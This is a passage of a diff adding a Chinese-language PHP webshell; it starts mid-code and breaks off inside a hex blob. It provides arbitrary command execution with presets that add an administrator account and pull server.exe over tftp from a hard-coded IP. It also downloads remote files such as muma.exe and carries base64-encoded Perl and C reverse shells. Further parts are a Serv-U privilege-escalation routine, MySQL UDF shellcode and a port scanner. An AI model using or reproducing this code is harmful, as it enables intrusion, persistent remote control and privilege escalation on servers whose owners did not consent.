                '; + return false; + } + $FILE_DIR = File_Str(dirname(__FILE__)); + $ROOT_DIR = File_Mode(); +print<< +function Fulllll(i){ + if(i==0) return false; + Str = new Array(5); + if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";tform.tp.value = Str[i];} + else{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str[5] = ".js";tform.tt.value = Str[i];} + return true; +} +function showth(th){ + if(th == 'a') document.getElementById('setauto').innerHTML = '查找内容
                替换成为 '; + if(th == 'b') document.getElementById('setauto').innerHTML = '
                下载后缀

                替换成为 '; + return true; +} +function autoup(){ + if(document.getElementById('tp').value == ''){alert('替换路径不能为空');return false;} + if(document.getElementById('tt').value == ''){alert('文件类型不能为空');return false;} + if(document.getElementById('tca').value == ''){alert('替换代码不能为空');return false;} + document.getElementById('tform').submit(); +} + +
                +
                替换路径 +
                +
                文件类型 +
                +
                替换文件中的指定内容 替换文件中的下载地址
                +
                查找内容
                替换成为
                +
                保持文件修改时间不变
                +
                将替换应用于该文件夹,子文件夹和文件 +
                仅将替换应用于该文件夹
                +
                + +END; + return true; +} + +//扫描木马 + +function Antivirus_Auto($sp,$features,$st,$sb) +{ + if(($h_d = @opendir($sp)) == NULL) return false; + $ROOT_DIR = File_Mode(); + while(false !== ($Filename = @readdir($h_d))) + { + if($Filename == '.' || $Filename == '..') continue; + $Filepath = File_Str($sp.'/'.$Filename); + if(is_dir($Filepath) && $sb) Antivirus_Auto($Filepath,$features,$st); + if(eregi($st,$Filename)) + { + if($Filepath == File_Str(__FILE__)) continue; + $ic = File_Read($Filepath); + foreach($features as $var => $key) + { + if(stristr($ic,$key)) + { + $Fileurls = str_replace($ROOT_DIR,'http://'.$_SERVER['SERVER_NAME'].'/',$Filepath); + $Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath)); + echo ' '.$Filepath.'
                编辑 删除 】 '; + echo ' 【 '.$Filetime.' 】 '.$var.'

                '."\r\n"; + break; + } + } + ob_flush(); + flush(); + } + } + @closedir($h_d); + return true; +} + +function Antivirus_e() +{ + if(!empty($_GET['df'])){echo $_GET['df'];if(@unlink($_GET['df'])){echo '删除成功';}else{@chmod($_GET['df'],0666);echo @unlink($_GET['df']) ? '删除成功' : '删除失败';} return false;} + if((!empty($_GET['fp'])) && (!empty($_GET['fn'])) && (!empty($_GET['dim']))) { File_Edit($_GET['fp'],$_GET['fn'],$_GET['dim']); return false; } + $SCAN_DIR = isset($_POST['sp']) ? $_POST['sp'] : File_Mode(); + $features_php = array('php大马特征1'=>'cha88.cn','php大马特征2'=>'->read()','php大马特征3'=>'readdir(','危险MYSQL语句4'=>'returns string soname','php加密大马特征5'=>'eval(gzinflate(','php加密大马特征6'=>'eval(base64_decode(','php一句话特征7'=>'eval($_','php一句话特征8'=>'eval ($_','php上传后门特征9'=>'copy($_FILES','php上传后门特征10'=>'copy ($_FILES','php上传后门特征11'=>'move_uploaded_file($_FILES','php上传后门特征12'=>'move_uploaded_file ($_FILES','php小马特征13'=>'str_replace(\'\\\\\',\'/\','); + $features_asx = array('asp小马特征1'=>'绝对路径','asp小马特征2'=>'输入马的内容','asp小马特征3'=>'fso.createtextfile(path,true)','asp一句话特征4'=>'<%execute(request','asp一句话特征5'=>'<%eval request','asp一句话特征6'=>'execute session(','asp数据库后门特征7'=>'--Created!','asp大马特征8'=>'WScript.Shell','asp大小马特征9'=>'<%@ LANGUAGE = VBScript.Encode %>','aspx大马特征10'=>'www.rootkit.net.cn','aspx大马特征11'=>'Process.GetProcesses','aspx大马特征12'=>'lake2'); +print<< +
                扫描路径
                +
                木马类型 php木马 +asp+aspx木马
                +
                将扫马应用于该文件夹,子文件夹和文件 +
                仅将扫马应用于该文件夹
                +
                + +END; + if(!empty($_POST['sp'])) + { + echo '
                '; + if(isset($_POST['stphp'])){$features_all = $features_php; $st = '\.php|\.inc|\;';} + if(isset($_POST['stasx'])){$features_all = $features_asx; $st = '\.asp|\.asa|\.cer|\.aspx|\.ascx|\;';} + if(isset($_POST['stphp']) && isset($_POST['stasx'])){$features_all = array_merge($features_php,$features_asx); $st = '\.php|\.inc|\.asp|\.asa|\.cer|\.aspx|\.ascx|\;';} + $sb = ($_POST['sb'] == 'a') ? true : false; + echo Antivirus_Auto($_POST['sp'],$features_all,$st,$sb) ? '扫描完毕' : '异常终止'; + echo '
                '; + } + return true; +} + +//搜索文件 + +function Findfile_Auto($sfp,$sfc,$sft,$sff,$sfb) +{ + //echo $sfp.'
                '.$sfc.'
                '.$sft.'
                '.$sff.'
                '.$sfb; + if(($h_d = @opendir($sfp)) == NULL) return false; + while(false !== ($Filename = @readdir($h_d))) + { + if($Filename == '.' || $Filename == '..') continue; + if(eregi($sft,$Filename)) continue; + $Filepath = File_Str($sfp.'/'.$Filename); + if(is_dir($Filepath) && $sfb) Findfile_Auto($Filepath,$sfc,$sft,$sff,$sfb); + if($sff) + { + if(stristr($Filename,$sfc)) + { + echo ' '.$Filepath.'
                '."\r\n"; + ob_flush(); + flush(); + } + } + else + { + $File_code = File_Read($Filepath); + if(stristr($File_code,$sfc)) + { + echo ' '.$Filepath.'
                '."\r\n"; + ob_flush(); + flush(); + } + } + } + @closedir($h_d); + return true; +} + +function Findfile_j() +{ + if(!empty($_GET['df'])){echo $_GET['df'];if(@unlink($_GET['df'])){echo '删除成功';}else{@chmod($_GET['df'],0666);echo @unlink($_GET['df']) ? '删除成功' : '删除失败';} return false;} + if((!empty($_GET['fp'])) && (!empty($_GET['fn'])) && (!empty($_GET['dim']))) { File_Edit($_GET['fp'],$_GET['fn'],$_GET['dim']); return false; } + $SCAN_DIR = isset($_POST['sfp']) ? $_POST['sfp'] : File_Mode(); + $SCAN_CODE = isset($_POST['sfc']) ? $_POST['sfc'] : 'config'; + $SCAN_TYPE = isset($_POST['sft']) ? $_POST['sft'] : '.mp3|.mp4|.avi|.swf|.jpg|.gif|.png|.bmp|.gho|.rar|.exe|.zip'; +print<< +
                扫描路径
                +
                过滤文件
                +
                关键字串 +搜索文件名 +搜索包含文字
                +
                将搜索应用于该文件夹,子文件夹和文件 +
                仅将搜索应用于该文件夹
                +
                + +END; + if((!empty($_POST['sfp'])) && (!empty($_POST['sfc']))) + { + echo '
                '; + $_POST['sft'] = str_replace('.','\\.',$_POST['sft']); + $sff = ($_POST['sff'] == 'a') ? true : false; + $sfb = ($_POST['sfb'] == 'a') ? true : false; + echo Findfile_Auto($_POST['sfp'],$_POST['sfc'],$_POST['sft'],$sff,$sfb) ? '搜索完毕' : '异常终止'; + echo '
                '; + } + return true; +} + +//系统信息 + +function Info_Cfg($varname){switch($result = get_cfg_var($varname)){case 0: return "No"; break; case 1: return "Yes"; break; default: return $result; break;}} +function Info_Fun($funName){return (false !== function_exists($funName)) ? "Yes" : "No";} +function Info_f() +{ + $dis_func = get_cfg_var("disable_functions"); + $upsize = get_cfg_var("file_uploads") ? get_cfg_var("upload_max_filesize") : "不允许上传"; + $adminmail = (isset($_SERVER['SERVER_ADMIN'])) ? "".$_SERVER['SERVER_ADMIN']."" : "".get_cfg_var("sendmail_from").""; + if($dis_func == ""){$dis_func = "No";}else{$dis_func = str_replace(" ","
                ",$dis_func);$dis_func = str_replace(",","
                ",$dis_func);} + $phpinfo = (!eregi("phpinfo",$dis_func)) ? "Yes" : "No"; + $info = array( + array("服务器时间",date("Y年m月d日 h:i:s",time())), + array("服务器域名","".$_SERVER['SERVER_NAME'].""), + array("服务器IP地址",gethostbyname($_SERVER['SERVER_NAME'])), + array("服务器操作系统",PHP_OS), + array("服务器操作系统文字编码",$_SERVER['HTTP_ACCEPT_LANGUAGE']), + array("服务器解译引擎",$_SERVER['SERVER_SOFTWARE']), + array("你的IP",getenv('REMOTE_ADDR')), + array("Web服务端口",$_SERVER['SERVER_PORT']), + array("PHP运行方式",strtoupper(php_sapi_name())), + array("PHP版本",PHP_VERSION), + array("运行于安全模式",Info_Cfg("safemode")), + array("服务器管理员",$adminmail), + array("本文件路径",__FILE__), + array("允许使用 URL 打开文件 allow_url_fopen",Info_Cfg("allow_url_fopen")), + array("允许动态加载链接库 enable_dl",Info_Cfg("enable_dl")), + array("显示错误信息 display_errors",Info_Cfg("display_errors")), + array("自动定义全局变量 register_globals",Info_Cfg("register_globals")), + array("magic_quotes_gpc",Info_Cfg("magic_quotes_gpc")), + array("程序最多允许使用内存量 memory_limit",Info_Cfg("memory_limit")), + array("POST最大字节数 post_max_size",Info_Cfg("post_max_size")), + array("允许最大上传文件 upload_max_filesize",$upsize), + array("程序最长运行时间 max_execution_time",Info_Cfg("max_execution_time")."秒"), + array("被禁用的函数 disable_functions",$dis_func), + array("phpinfo()",$phpinfo), + array("目前还有空余空间diskfreespace",intval(diskfreespace(".") / (1024 * 1024)).'Mb'), + array("图形处理 GD Library",Info_Fun("imageline")), + array("IMAP电子邮件系统",Info_Fun("imap_close")), + array("MySQL数据库",Info_Fun("mysql_close")), + array("SyBase数据库",Info_Fun("sybase_close")), + array("Oracle数据库",Info_Fun("ora_close")), + array("Oracle 8 数据库",Info_Fun("OCILogOff")), + array("PREL相容语法 PCRE",Info_Fun("preg_match")), + array("PDF文档支持",Info_Fun("pdf_close")), + array("Postgre SQL数据库",Info_Fun("pg_close")), + array("SNMP网络管理协议",Info_Fun("snmpget")), + array("压缩文件支持(Zlib)",Info_Fun("gzclose")), + array("XML解析",Info_Fun("xml_set_object")), + array("FTP",Info_Fun("ftp_login")), + array("ODBC数据库连接",Info_Fun("odbc_close")), + array("Session支持",Info_Fun("session_start")), + array("Socket支持",Info_Fun("fsockopen")), + ); + echo '
                上级目录 操作 属性 修改时间 大小
                0 '.$Filename.' 删除 '; + echo ' 改名 '.$Fileperm.' '.$Filetime.'
                '.$fname.' 编辑 '; + echo ' 改名 '.$Fileperm.''.$Filetime.' '.$Filesize.'
                '; + for($i = 0;$i < count($info);$i++){echo ''."\n";} + echo '
                '.$info[$i][0].''.$info[$i][1].'
                '; + return true; +} + +//执行命令 + +function Exec_Run($cmd) +{ + $res = ''; + if(function_exists('exec')){@exec($cmd,$res);$res = join("\n",$res);} + elseif(function_exists('shell_exec')){$res = @shell_exec($cmd);} + elseif(function_exists('system')){@ob_start();@system($cmd);$res = @ob_get_contents();@ob_end_clean();} + elseif(function_exists('passthru')){@ob_start();@passthru($cmd);$res = @ob_get_contents();@ob_end_clean();} + elseif(@is_resource($f = @popen($cmd,"r"))){$res = '';while(!@feof($f)){$res .= @fread($f,1024);}@pclose($f);} + return $res; +} + + +function Exec_g() +{ + $res = '回显窗口'; + $cmd = 'dir'; + if(!empty($_POST['cmd'])){$res = Exec_Run($_POST['cmd']);$cmd = $_POST['cmd'];} +print<< +function sFull(i){ + Str = new Array(11); + Str[0] = "dir"; + Str[1] = "net user spider spider /add"; + Str[2] = "net localgroup administrators spider /add"; + Str[3] = "netstat -an"; + Str[4] = "ipconfig"; + Str[5] = "copy c:\\1.php d:\\2.php"; + Str[6] = "tftp -i 219.134.46.245 get server.exe c:\\server.exe"; + document.getElementById('cmd').value = Str[i]; + return true; +} + +
                +命令参数 + +
                +
                +
                +END; + return true; +} + +//组件接口 + +function Com_h() +{ + $object = isset($_GET['o']) ? $_GET['o'] : 'adodb'; +print<<[ADODB.Connection] +[WScript.shell] +[Shell.Application] +[Downloader] +
                +END; +if($object == 'downloader') +{ + $Com_durl = isset($_POST['durl']) ? $_POST['durl'] : 'http://www.baidu.com/down/muma.exe'; + $Com_dpath= isset($_POST['dpath']) ? $_POST['dpath'] : File_Str(dirname(__FILE__).'/muma.exe'); +print<<超连接 +
                下载到
                +
                +END; + if((!empty($_POST['durl'])) && (!empty($_POST['dpath']))) + { + echo '
                '; + $contents = @file_get_contents($_POST['durl']); + if(!$contents) echo '无法读取要下载的数据'; + else echo File_Write($_POST['dpath'],$contents,'wb') ? '下载文件成功' : '下载文件失败'; + echo '
                '; + } +} +elseif($object == 'wscript') +{ + $cmd = isset($_POST['cmd']) ? $_POST['cmd'] : 'dir'; +print<<执行CMD命令 +
                +END; + if(!empty($_POST['cmd'])) + { + echo '
                '; + $shell = new COM('wscript'); + $exe = @$shell->exec("cmd.exe /c ".$cmd); + $out = $exe->StdOut(); + $output = $out->ReadAll(); + echo '
                '.$output.'
                '; + @$shell->Release(); + $shell = NULL; + echo '
                '; + } +} +elseif($object == 'application') +{ + $run = isset($_POST['run']) ? $_POST['run'] : 'cmd.exe'; + $cmd = isset($_POST['cmd']) ? $_POST['cmd'] : 'copy c:\windows\php.ini c:\php.ini'; +print<<程序路径 +
                命令参数
                +
                +END; + if(!empty($_POST['run'])) + { + echo '
                '; + $shell = new COM('application'); + echo (@$shell->ShellExecute($run,'/c '.$cmd) == '0') ? '执行成功' : '执行失败'; + @$shell->Release(); + $shell = NULL; + echo '
                '; + } +} +elseif($object == 'adodb') +{ + $string = isset($_POST['string']) ? $_POST['string'] : ''; + $sql = isset($_POST['sql']) ? $_POST['sql'] : ''; +print<< +function hFull(i){ + if(i==0 || i==5) return false; + Str = new Array(12); + Str[1] = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=\db.mdb"; + Str[2] = "Driver={Sql Server};Server=,1433;Database=DbName;Uid=sa;Pwd=****"; + Str[3] = "Driver={MySql};Server=;Port=3306;Database=DbName;Uid=root;Pwd=****"; + Str[4] = "Provider=MSDAORA.1;Password=密码;User ID=帐号;Data Source=服务名;Persist Security Info=True;"; + Str[6] = "SELECT * FROM [TableName] WHERE ID<100"; + Str[7] = "INSERT INTO [TableName](USER,PASS) VALUES('spider','mypass')"; + Str[8] = "DELETE FROM [TableName] WHERE ID=100"; + Str[9] = "UPDATE [TableName] SET USER='spider' WHERE ID=100"; + Str[10] = "CREATE TABLE [TableName](ID INT IDENTITY (1,1) NOT NULL,USER VARCHAR(50))"; + Str[11] = "DROP TABLE [TableName]"; + Str[12] = "ALTER TABLE [TableName] ADD COLUMN PASS VARCHAR(32)"; + Str[13] = "ALTER TABLE [TableName] DROP COLUMN PASS"; + if(i<=4){document.getElementById('string').value = Str[i];}else{document.getElementById('sql').value = Str[i];} + return true; +} + +
                连接字符串 +
                +
                SQL命令
                +
                + +END; + if(!empty($string)) + { + echo '
                '; + $shell = new COM('adodb'); + @$shell->Open($string); + $result = @$shell->Execute($sql); + $count = $result->Fields->Count(); + for($i = 0;$i < $count;$i++){$Field[$i] = $result->Fields($i);} + echo $result ? $sql.' 执行成功
                ' : $sql.' 执行失败
                '; + if(!empty($count)){while(!$result->EOF){for($i = 0;$i < $count;$i++){echo htmlspecialchars($Field[$i]->value).'
                ';}@$result->MoveNext();}} + $shell->Close(); + @$shell->Release(); + $shell = NULL; + echo '
                '; + } +} + return true; +} + +//扫描端口 + +function Port_i() +{ + $Port_ip = isset($_POST['ip']) ? $_POST['ip'] : '127.0.0.1'; + $Port_port = isset($_POST['port']) ? $_POST['port'] : '21|23|25|80|110|135|139|445|1433|3306|3389|43958'; +print<< +
                扫描IP
                +
                端口号
                +
                + +END; + if((!empty($_POST['ip'])) && (!empty($_POST['port']))) + { + echo '
                '; + $ports = explode('|', $_POST['port']); + for($i = 0;$i < count($ports);$i++) + { + $fp = @fsockopen($_POST['ip'],$ports[$i],&$errno,&$errstr,2); + echo $fp ? '开放端口 ---> '.$ports[$i].'
                ' : '关闭端口 ---> '.$ports[$i].'
                '; + ob_flush(); + flush(); + } + echo '
                '; + } + return true; +} + +//Linux提权 + +function Linux_k() +{ + $yourip = isset($_POST['yourip']) ? $_POST['yourip'] : getenv('REMOTE_ADDR'); + $yourport = isset($_POST['yourport']) ? $_POST['yourport'] : '12666'; +print<< +
                你的地址
                +
                连接端口
                +
                执行方式
                +
                +END; + if((!empty($_POST['yourip'])) && (!empty($_POST['yourport']))) + { + echo '
                '; + if($_POST['use'] == 'perl') + { + $back_connect_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". + "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". + "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". + "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". + "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". + "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". + "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; + echo File_Write('/tmp/spider_bc',base64_decode($back_connect_pl),'wb') ? '创建/tmp/spider_bc成功
                ' : '创建/tmp/spider_bc失败
                '; + $perlpath = Exec_Run('which perl'); + $perlpath = $perlpath ? chop($perlpath) : 'perl'; + echo Exec_Run($perlpath.' /tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '执行命令失败'; + } + if($_POST['use'] == 'c') + { + $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC". + "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb". + "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd". + "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ". + "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC". + "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D". + "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp". + "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; + echo File_Write('/tmp/spider_bc.c',base64_decode($back_connect_c),'wb') ? '创建/tmp/spider_bc.c成功
                ' : '创建/tmp/spider_bc.c失败
                '; + $res = Exec_Run('gcc -o /tmp/angel_bc /tmp/angel_bc.c'); + @unlink('/tmp/spider_bc.c'); + echo Exec_Run('/tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '执行命令失败'; + } + echo '
                你可以尝试连接端口 (nc -l -n -v -p '.$_POST['yourport'].')
                '; + } + return true; +} + +//ServU提权 + +function Servu_l() +{ + $SUPass = isset($_POST['SUPass']) ? $_POST['SUPass'] : '#l@$ak#.lk;0@P'; +print<<[执行命令] [添加用户] +
                +
                ServU端口
                +
                ServU用户
                +
                ServU密码
                +END; +if($_GET['o'] == 'adduser') +{ +print<<帐号 +密码 +目录 +END; +} +else +{ +print<<提权命令
                + + + +END; +} +echo '
                '; + if((!empty($_POST['SUPort'])) && (!empty($_POST['SUUser'])) && (!empty($_POST['SUPass']))) + { + echo '
                '; + $sendbuf = ""; + $recvbuf = ""; + $domain = "-SETDOMAIN\r\n"."-Domain=haxorcitos|0.0.0.0|21|-1|1|0\r\n"."-TZOEnable=0\r\n"." TZOKey=\r\n"; + $adduser = "-SETUSERSETUP\r\n"."-IP=0.0.0.0\r\n"."-PortNo=21\r\n"."-User=".$_POST['user']."\r\n"."-Password=".$_POST['password']."\r\n"."-HomeDir=c:\\\r\n"."-LoginMesFile=\r\n"."-Disable=0\r\n"."-RelPaths=1\r\n"."-NeedSecure=0\r\n"."-HideHidden=0\r\n"."-AlwaysAllowLogin=0\r\n"."-ChangePassword=0\r\n". + "-QuotaEnable=0\r\n"."-MaxUsersLoginPerIP=-1\r\n"."-SpeedLimitUp=0\r\n"."-SpeedLimitDown=0\r\n"."-MaxNrUsers=-1\r\n"."-IdleTimeOut=600\r\n"."-SessionTimeOut=-1\r\n"."-Expire=0\r\n"."-RatioUp=1\r\n"."-RatioDown=1\r\n"."-RatiosCredit=0\r\n"."-QuotaCurrent=0\r\n"."-QuotaMaximum=0\r\n". + "-Maintenance=None\r\n"."-PasswordType=Regular\r\n"."-Ratios=None\r\n"." Access=".$_POST['part']."\|RWAMELCDP\r\n"; + $deldomain = "-DELETEDOMAIN\r\n"."-IP=0.0.0.0\r\n"." PortNo=21\r\n"; + $sock = @fsockopen("127.0.0.1", $_POST["SUPort"], &$errno, &$errstr, 10); + $recvbuf = @fgets($sock, 1024); + echo "返回数据包: $recvbuf
                "; + $sendbuf = "USER ".$_POST["SUUser"]."\r\n"; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "发送数据包: $sendbuf
                "; + $recvbuf = @fgets($sock, 1024); + echo "返回数据包: $recvbuf
                "; + $sendbuf = "PASS ".$_POST["SUPass"]."\r\n"; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "发送数据包: $sendbuf
                "; + $recvbuf = @fgets($sock, 1024); + echo "返回数据包: $recvbuf
                "; + $sendbuf = "SITE MAINTENANCE\r\n"; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "发送数据包: $sendbuf
                "; + $recvbuf = @fgets($sock, 1024); + echo "返回数据包: $recvbuf
                "; + $sendbuf = $domain; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "发送数据包: $sendbuf
                "; + $recvbuf = @fgets($sock, 1024); + echo "返回数据包: $recvbuf
                "; + $sendbuf = $adduser; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "发送数据包: $sendbuf
                "; + $recvbuf = @fgets($sock, 1024); + echo "返回数据包: $recvbuf
                "; + if(!empty($_POST['SUCommand'])) + { + $exp = @fsockopen("127.0.0.1", "21", &$errno, &$errstr, 10); + $recvbuf = @fgets($exp, 1024); + echo "返回数据包: $recvbuf
                "; + $sendbuf = "USER ".$_POST['user']."\r\n"; + @fputs($exp, $sendbuf, strlen($sendbuf)); + echo "发送数据包: $sendbuf
                "; + $recvbuf = @fgets($exp, 1024); + echo "返回数据包: $recvbuf
                "; + $sendbuf = "PASS ".$_POST['password']."\r\n"; + @fputs($exp, $sendbuf, strlen($sendbuf)); + echo "发送数据包: $sendbuf
                "; + $recvbuf = @fgets($exp, 1024); + echo "返回数据包: $recvbuf
                "; + $sendbuf = "site exec ".$_POST["SUCommand"]."\r\n"; + @fputs($exp, $sendbuf, strlen($sendbuf)); + echo "发送数据包: site exec ".$_POST["SUCommand"]."
                "; + $recvbuf = @fgets($exp, 1024); + echo "返回数据包: $recvbuf
                "; + $sendbuf = $deldomain; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "发送数据包: $sendbuf
                "; + $recvbuf = @fgets($sock, 1024); + echo "返回数据包: $recvbuf
                "; + @fclose($exp); + } + @fclose($sock); + echo '
                '; + } +} + +//MYSQL提权 + +function Mysql_shellcode() +{ + return "0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E00000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000009BBB9A02DFDAF451DFDAF451DFDAF451A4C6F851DDDAF4515CC6FA51CBDAF45137C5FE518BDAF451DFDAF451DCDAF451BDC5E751DADAF451DFDAF55184DAF45137C5FF51DCDAF45137C5F051DEDAF45152696368DFDAF4510000000000000000504500004C010300B2976A460000000000000000E0000E210B01060000500000001000000090000010E6000000A0000000F000000000001000100000000200000400000000000000040000000000000000000100001000000000000002000000000010000010000000001000001000000000000010000000D8F000007400000000F00000D80000000000000000000000000000000000000000000000000000004CF100000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000900000001000000000000000040000000000000000000000000000800000E055505831000000000050000000A000000048000000040000000000000000000000000000400000E055505832000000000010000000F0000000020000004C0000000000000000000000000000400000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000322E303200555058210D09020A459475C59FCC587632C900000F46000000B00000260A00BC6FEDDDFF558BEC6AFF6800007148040ED064A10507506489FFD8FF9F2583EC0C5356578965E8C745FC0F7D0C0175236A00FFEDB77B012E05B008FF150970008945E4EB09B81E7363BB0124C38B2FFF000F8B4DF05FF6FFD94E0D5F5E5B8BE55DC20C0090008B442499ACFDF604C740081C100432C0C30F8F58FDAC7D0081EC8C090592C685E8FBFF77DFBD6100B9FF1733C08DBDE90DF3AB66ABAA33DB895DFC8B33DBBBFF450C8338010F85770380480439190A6C53EFFEFFBF80988B50088B0250E80A005DDC83C40885C00F84511A889DC8F6F720276B414EC9F6C785BC0A9FD9DC5D0C16899DC0090FC4D853A1FBF6DF8D8D1A518D95CCFA06528D85B80D500EB399661B2C256C44246CCDF7EFB116288B852A8985ACF605A866EEEE8C6C559C985668050134776723CD95C852240CBFBA8883C9DFDCFFB7FF9CF2AEF7D12BF98BF78BFA8BD1100E4F8BCAC1B3CDFDF6E902F3A50683E103F3A4FBF2083566B604D88B393284B4C1B5DB60E6D8FBB153006A0103FF6B63838A538B20B4283BC3752D6A0A6D84436EF0E8FB1C4F473ADBAF3D7C12516670380B52E917059E0B67B30CF72A18B9D0FA40FB0E72106AD1FA6803FA8D1D93CBD8D84268FF14D0FAC47E0990583A548D64D9BA6F3EE5117E8BF089B564B9535EC803C2993B046AA18BB810CD2ED81B0E567420C63C10FFB9E53B72C6000163E8EBBA1882FBB7B9850436D41105B0596A206A03049D306B6E037D7EB2BF0CF6B171F37B6883FEFF6A85385618DCEFEF2D94F889BD408D4764A80FF652F1DC2F942DB9590C89036A9D5679F8CFBE564F01515030108B13C6043A0009446C03E40BD18B3BD9687E2C089318580C04EB366A64B66C8DC972D031745813594ECE0E53C16551C83BE920FDC91E498B5514890AE98B03E63F61EE23C368C80B6389500C3BD37C2939D8751A3233C07F3001BB709155357A0C83910DBB954511420C8651C8D391AC91AE8D513763F24C9552CDB0069B6CC2A4E96551C51C8B6C76695D530C1FA86CB243C27B0C298B5BA5C3A71B4F08A40F8B400C8674DD5B768C07BC91591B00130BC8AEF1B72C1D750683C8FFC2C30E05DCC030D74E060C74092FF202EDB4329054554468020217F6FEBFFE7134F7D81BC04081C41A5E903D814C060F6808B8640426B073A466121C866DCBB6417B885DA87401A902ADB17EE3D2B76603B58845B71684FEF1888590FFFE7D72BB06563F84BD910AE983CF3F4F9B2E347D942C6A02227175943B5A018CEDF7751616FC1708EC3F79044888FEFE71103BC7751D560A1BC60B6C14326A107A8D74235F61B8E73A52180F66DB8D2C2C88980B531CAE9A338FCA02DD827A1D0E203DB8C9B537DC9004B9827E8B3089CAB4D6D37CB01D80B471D337110CE748BEDDEC6F6A081AA8D177E6489E04A0B6138D55A8E327325A00438D7DA883CE2D656B0763CE457537E59B512FD8B7C1028B8B8596504522D9BE1B6144418D4DA885C977DD1696139C2E06249C238D472834160750D28954283B70800CF2C67526537547C84B6CC025CF070D048CFFFEDF5EBC8549E4200866E4516A28AE11DB6E61BC52F88D2072229D489AB3985D2C1D8B35781C88D11B302A6C37DF5968311659FFFF1151BE82B96D42D6FC84FED51052D985CD06A5091CEBC5BA94506052022C069E0F3981C511788FA404FCF68450228B75087CC0807E09060A4B775B71A85F8B5E0C20D469D9D115CEF92011C8B80D124CB6177EA98AB6E00FC1E0028BC803C604C468141ADF02CC33C98A7DBFB566FBEF5E4CC1E102058D14018955E0803A4D4F586F8F818BB9AA01CC8BF2E266F3A7ED0CF26C164102C0159D0542D875477205B04C2C3908C10D00DA6E0D67EF1968D007001034E90B8795BC59C82DED1533F607B80774C03FFB9009C183C206298A023C2167DF7FE9743C843B1B3C0A741788843530421B46D889846744EBDB7FB907CABBFF6F29B6B53C33D2F3A6753B88954C0BB918D962C860784DB34C76739038C0B10B6C68E